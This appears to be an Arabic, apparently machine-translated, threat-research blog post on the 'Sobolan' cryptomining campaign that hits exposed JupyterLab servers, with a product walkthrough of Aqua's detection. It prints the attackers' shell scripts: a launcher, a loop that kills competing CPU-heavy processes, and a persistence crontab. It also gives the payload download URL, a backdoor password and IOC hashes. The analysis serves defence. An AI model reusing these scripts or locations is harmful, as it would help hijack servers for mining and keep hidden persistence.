اكتشف باحثو Aqua Nautilus حملة هجومية جديدة تستهدف بيئات الحوسبة التفاعلية مثل Jupyter Notebooks. يتكون الهجوم من مراحل متعددة، تبدأ بتنزيل ملف مضغوط من خادم بعيد. بمجرد التنفيذ، ينشر المهاجم العديد من الأدوات الضارة لاستغلال الخادم وتحقيق الاستمرارية. تشكل هذه الحملة خطرًا كبيرًا على البيئات السحابية الأصلية، لأنها تتيح الوصول غير المصرح به والتحكم طويل المدى في الأنظمة المخترقة.

في هذه المدونة، سنحدد مراحل الهجوم، ونناقش المخاطر المحتملة، ونقدم توصيات لتعزيز الأمان ومنع الاستغلال.

عبء العمل المهاجم

بيئات الحوسبة التفاعلية أو واجهات الكمبيوتر المحمول هي منصات مصممة لعلماء البيانات والمبرمجين لكتابة التعليمات البرمجية وتنفيذها وتحليلها بشكل تفاعلي. هناك العديد من المنتجات المتاحة، بما في ذلك Jupyter Notebook, JupyterLab, Apache Zeppelin, Google Colab, Databricks Notebooksوآخرون.
غالبًا ما تكون هذه البيئات متصلة بالإنترنت وتتطلب مصادقة للوصول إلى البيانات أو تنفيذ التعليمات البرمجية. ومع ذلك، قد يؤدي التكوين الخاطئ البسيط في بعض الأحيان إلى تعريض الخادم لنشاط ضار من قبل المتسللين.

رسم خريطة لتدفق الهجوم

الشكل 1: تدفق هجوم حملة سوبولان

حصل المهاجمون على إمكانية الوصول الأولي من خلال مثيل JupyterLab غير المصادق عليه، مما سمح لهم بنشر البرامج الضارة وأدوات التعدين. قاموا أولاً بتنزيل واستخراج أرشيف مضغوط يحتوي على 13 ملفًا ضارًا، تتكون من ملفات ثنائية ونصوص برمجية. بمجرد تنفيذها، بدأت هذه البرامج النصية عمليات متعددة لتأسيس الثبات، واختطاف موارد النظام من أجل تعدين العملات المشفرة، وتجنب الاكتشاف (كما هو موضح في الشكل 1).

ويتبع الهجوم الخطوات التالية:

  • الوصول الأولي: يستغل المهاجم مثيل JupyterLab غير المصادق عليه.
  • التنزيل والاستخراج: يتم تنزيل واستخراج ملف مضغوط (.tar)، مما يكشف عن 13 ملفًا ضارًا (7 ملفات ثنائية و6 نصوص برمجية).
  • تنفيذ: يقوم المهاجم بتشغيل برنامج نصي للبدء، والذي يقوم بتشغيل خمسة ثنائيات إضافية ونصوص برمجية شل.
  • المثابرة والتهرب: تبدأ البرامج النصية عمليات لإنشاء الثبات، واختطاف موارد النظام من أجل تعدين العملات المشفرة، وتجنب الاكتشاف.

في الأقسام التالية، سنقوم بتحليل كل مرحلة من مراحل الهجوم، وكيف اكتشف حل Aqua Runtime Protection التهديد، والخطوات المتخذة لمنعه. دعونا نستكشف كيف تمكن Aqua من الكشف والاستجابة الفعالة.

الخطوة 1: تخصيص موجز معلومات التهديدات

يمكننا تخصيص خلاصات معلومات التهديدات لتشملها IP addresses, DNS data، أو malicious file hashes. تسمح لك هذه الميزة بدمج مصادر معلومات التهديدات الخاصة بك في النظام الأساسي.

بالإضافة إلى ذلك، توفر Aqua خلاصة معلومات التهديدات الخاصة بها، استنادًا إلى أبحاث Nautilus، والتي يتم تحديثها باستمرار بأحدث الحملات التي تستهدف البيئات السحابية الأصلية.

الشكل 2: موجز معلومات التهديد المخصص لـ Aqua

الخطوة 2: تكوين سياسات وقت التشغيل

بالإضافة إلى ذلك، يمكنك تكوين سياسات وقت التشغيل على ثلاثة مستويات مختلفة: مجموعات الحاوية، والجهاز الظاهري (VM)، وKubernetes (k8s).

سياسات وقت التشغيل السحابية الأصلية

الشكل 3: سياسات وقت تشغيل Aqua

في هذه الحالة، قمنا بتكوين مستويات VM والحاوية لمنع تنفيذ الأحداث الضارة. على وجه التحديد، قمنا بتمكين مراقبة السلوك، ومنع الانجراف، واكتشاف الجذور الخفية، والتنفيذ بدون ملفات، إلى جانب عناصر التحكم الأمنية الأخرى المتوفرة في منصة Aqua.

الخطوة 3: تمكين سياسة الاستجابة وتخصيص مشغلات التنبيه

بالإضافة إلى ذلك، قمنا بإعداد سياسة استجابة لتنبيهنا عند اكتشاف برامج ضارة.

تكوين سياسات استجابة جديدة

الشكل 4: تكوين سياسات الاستجابة الجديدة

يمكنك أيضًا تخصيص المشغل بناءً على قواعد سلوكية محددة وتطبيقها على صور محددة.

تكوين مشغل سياسة استجابة Aqua

الشكل 5: تكوين مشغل سياسة استجابة Aqua

الخطوة 4: تكوين التنبيهات

وأخيرًا، يمكنك توزيع التنبيهات على مختلف التطبيقات والأنظمة الأساسية لتحسين الرؤية والاستجابة.

الشكل 6: قم بإعداد سياسة الاستجابة لإرسال التنبيهات إلى التطبيق أو النظام الأساسي المفضل لديك

الخطوة 5: التحقيق في الحادث

بمجرد أن نتلقى تنبيهًا بشأن حادث ما، يمكننا فحصه عرض الحادث. هنا، نلاحظ أربعة حوادث مصدرها مورد واحد خلال فترة زمنية قصيرة. يوفر هذا مؤشرًا قويًا على التطفل وتنفيذ أداة التشفير.

الشكل 7: أربع حوادث أمنية مصدرها مورد واحد خلال إطار زمني قصير

هذه المعلومات قيمة، لكنها لا توفر تحقيقًا كاملاً فيما حدث لحاويتنا. للحصول على رؤى أعمق، نحن بحاجة إلى الانتقال إلى مراجعة الشاشة وحدد التاريخ المناسب، 18 يناير.

الشكل 8: التدقيق الأمني ​​الذي يوضح تفاصيل مسار الهجوم

الشكل 9: التدقيق الأمني ​​يظهر الأحداث المحظورة

كما ترون، قامت منصة Aqua بالكشف عن وجمعت 4,199 حدثًا، مما يوفر صورة أوضح عن الهجوم. من بين هذه الأحداث، تم تصنيف 4 أحداث على أنها حوادث، و138 على أنها أحداث محظورة، و167 على أنها أحداث ناجحة، مما يعني أنه تم تنفيذها بنجاح ولم يتم حظرها بواسطة المنفذ.

تم جمع الأحداث المتبقية لتوفير سياق إضافي. على سبيل المثال، يمكننا ملاحظة فتح ملف أو تنفيذ عمليات، والتي قد لا تكون ضارة أو مشبوهة بطبيعتها. ومع ذلك، عند تحليلها جنبًا إلى جنب مع الحوادث، فإنها تقدم رؤى لا تقدر بثمن حول ما حدث في حاويتنا بعد بدء سلسلة الأحداث الخبيثة. أدناه يمكنك رؤية جميع الأحداث المحظورة.

ملخص تفصيلي للأحداث المحظورة

يمكنك أن ترى أنه تم حظر تنفيذ البرنامج النصي لـ Shell. في هذه الحالة المحددة، أحد البرامج النصية، lol، تم منعه من التشغيل بنجاح.
عندما يُسمح بتنفيذ الهجوم بالكامل، يقوم المهاجم بتنزيل ملف tar file من مكان بعيد(http://167.172.154.218/.sobo/temp.tar). بمجرد استخراجه، فإنه ينشر 13 ملفًا في الدليل /var/tmp/.lol11/.ICE-Temp، يتكون من 6 نصوص برمجية و7 ثنائيات.

تنفذ البرامج الضارة العديد من البرامج النصية والثنائيات أثناء محاولتها إخفاء نفسها والحفاظ على استمراريتها على الخادم.

#!/bin/bash

chattr +i /var/tmp/.ICE-Temp
./crazy > /dev/null 2>&1 & disown
./lol1 > /dev/null 2>&1 & disown
./lol > /dev/null 2>&1 & disown
./noob > /dev/null 2>&1 & disown
./run
# Define the process name for syst3md
syst3md_process="syst3md"

# Define the CPU threshold for killing processes
cpu_threshold=300

# Function to kill processes using over 100% CPU except syst3md
kill_high_cpu_processes() {
    echo "Checking for processes using over $cpu_threshold% CPU..."
    while read -r pid cpu; do
        cpu="${cpu%.*}" # Remove decimal part
        if [ "$pid" != "$$" ] && [ "$pid" != "$(pgrep -x "$syst3md_process")" ] && [ "$cpu" -gt "$cpu_threshold" ]; then
            echo "Killing process $pid using $cpu% CPU..."
            kill -9 "$pid"
        fi
    done < <(ps -e -o pid,%cpu --sort=-%cpu --no-headers)
}

# Main loop
while true; do
    # Kill processes using over 100% CPU except for syst3md
    kill_high_cpu_processes

    # Sleep for a while before checking again
    sleep 15
done

بداية النص الرئيسي (MD5: 4b94b70a58413e83dd5fd937862ad6dd) ينفذ العديد من البرامج النصية والثنائيات الأخرى، بما في ذلك Crazy (MD5: dac46d7fff94af972f02afc00fb5ee95), lol (MD5: 0eba5ce29c4baf4888bd2a9dd39fec0a), lol1 (MD5: 3242c1445baa1bb42418f534c468c817), noob (MD5: 89599bf56ee19e0693a7ad5b57c7eeaf)، وتشغيل (MD5: 6f2ad308cfca8ada83dddeff3550ff1b).

تم تصميم البرنامج النصي المجنون لإثبات الثبات وتقييد الوصول إلى الخادم. يقوم بتعديل ~/.bashrc ملف لتنفيذ مطالبة تسجيل دخول زائفة عندما يفتح المستخدم محطة طرفية. إذا قام المستخدم بإدخال كلمة المرور المشفرة (parola=”32y45873y2485324jh23“)، يتم منح الوصول؛ وإلا سيتم إنهاء الجلسة.

ال lol و lol1 البرامج النصية هي المسؤولة عن تشغيل عمال التشفير، pythonlol (MD5: 305f278eaf452f7e0b8d788e433278c6) و سوبولان (MD5: 7849983d77b052de90558feeefb3078d).

ال noob تم تصميم البرنامج النصي لإيقاف عمليات استخدام وحدة المعالجة المركزية العالية، ومن المحتمل أن يمنع التطبيقات الأخرى من التدخل في عملية تعدين العملات المشفرة.
بمجرد تنفيذ التشغيل الثنائي، تتم إعادة تسمية المهمة إلى bash. انه يتفقد .ssh credentials، يحاول (لكنه يفشل) تنزيل البرنامج النصي clear.sh، وينفذ binary apachlogs (MD5: 9e39b0a7baca08a77c4716e5581660b2). تقوم البرامج الضارة أيضًا بإنشاء ملفات تستخدم للإعداد cron jobs، مما يضمن استمرار التنفيذ والمثابرة على النظام المخترق.

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (.tempo installed on Sat Jan 18 20:27:04 2025)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * /var/tmp/.loll1/.ICE-Temp/1 > /dev/null <&1 2>&1 & disown
@monthly /var/tmp/.lol11/.ICE-Temp/1 > /dev/null <&1 2>&1 & disown
@reboot /var/tmp/.loll1/.ICE-Temp/apachelogs > /dev/null <&1 2>&1 & disown

Apachelogs تدير خدمة تقتل عمال التشفير المتنافسين وتنفذ binary ‘1’ (MD5: a6ae2651f951fe07f265b548474274b9) ، والذي يقوم بعد ذلك بتنفيذ syst3md (MD5: ca1543264c990b85310bcb879e43eb36). Syst3md هو عامل تشفير يحاول الاتصال بـ PostgreSQL قاعدة البيانات المرتبطة MiningOcean اِختِصاص.

عند التفتيش syst3md ثنائي، لا توجد مؤشرات على ذلك PostgreSQL الواردات مثل PQconnectdb, PQsetdbLogin, PQexec، أو PQfinish. يشير هذا إلى أنه يمكن استخدام المنفذ والعملية لإخفاء الاتصال بمجمع تعدين العملات المشفرة بدلاً من التفاعل الفعلي لقاعدة البيانات.
حالة الملف (MD5: 7989ea33ddede0ecf9f3e562aaa8a1c4) مصمم لتعديل ملف تكوين JSON، لكن لم يتم استخدامه في هذا الهجوم.

ملخص

يسلط هجوم البرامج الضارة Sobolan الضوء على التكتيكات المتطورة التي يستخدمها ممثلو التهديدات لاختراق بيئات الحوسبة التفاعلية مثل Jupyter Notebooks. من خلال استغلال التكوينات الخاطئة، ونشر آليات الثبات المتعددة، وتشغيل أدوات تعدين العملات المشفرة، يمكن للمهاجمين التأثير بشدة على أعباء العمل السحابية الأصلية. تعمل تقنية Aqua Runtime Protection على اكتشاف هذه التهديدات وحظرها والتخفيف من حدتها بشكل فعال من خلال الاستفادة من معلومات التهديدات في الوقت الفعلي وفحص البرامج الضارة وسياسات وقت التشغيل القابلة للتخصيص. يمكن للمؤسسات التي تستخدم Aqua تأمين بيئاتها بشكل استباقي ضد مثل هذه الهجمات، مما يضمن السلامة التشغيلية ومنع الوصول غير المصرح به. يعد البقاء يقظًا وتنفيذ ضوابط أمنية قوية أمرًا أساسيًا للدفاع ضد التهديدات السحابية الأصلية المتزايدة التعقيد.

مؤشرات التسوية (IOCs)




































يكتب قيمة ملحوظات
عنوان IP
عنوان IP 37.201.213.226 IP المهاجم
عنوان IP 167.172.154.218 تحميل الخادم
ملفات
ملف ثنائي MD5: 305f278eaf452f7e0b8d788e433278c6 com.pythonlol
ملف ثنائي MD5: 7849983d77b052de90558feeeefb3078d سوبولان
ملف ثنائي MD5: 9e39b0a7baca08a77c4716e5581660b2 apachlogs
ملف ثنائي MD5: a6ae2651f951fe07f265b548474274b9 1
ملف ثنائي MD5: ca1543264c990b85310bcb879e43eb36 syst3md
ملف ثنائي MD5: 6f2ad308cfca8ada83dddeff3550ff1b يجري
البرنامج النصي شل MD5: 4b94b70a58413e83dd5fd937862ad6dd يبدأ
البرنامج النصي شل MD5:dac46d7fff94af972f02afc00fb5ee95 مجنون
البرنامج النصي شل MD5:0eba5ce29c4baf4888bd2a9dd39fec0a مضحك جداً
البرنامج النصي شل MD5: 3242c1445baa1bb42418f534c468c817 lol1
البرنامج النصي شل MD5: 89599bf56ee19e0693a7ad5b57c7eeaf مستجد
البرنامج النصي شل MD5: 7989ea33ddede0ecf9f3e562aaa8a1c4 حالة

شاركها.
اترك تعليقاً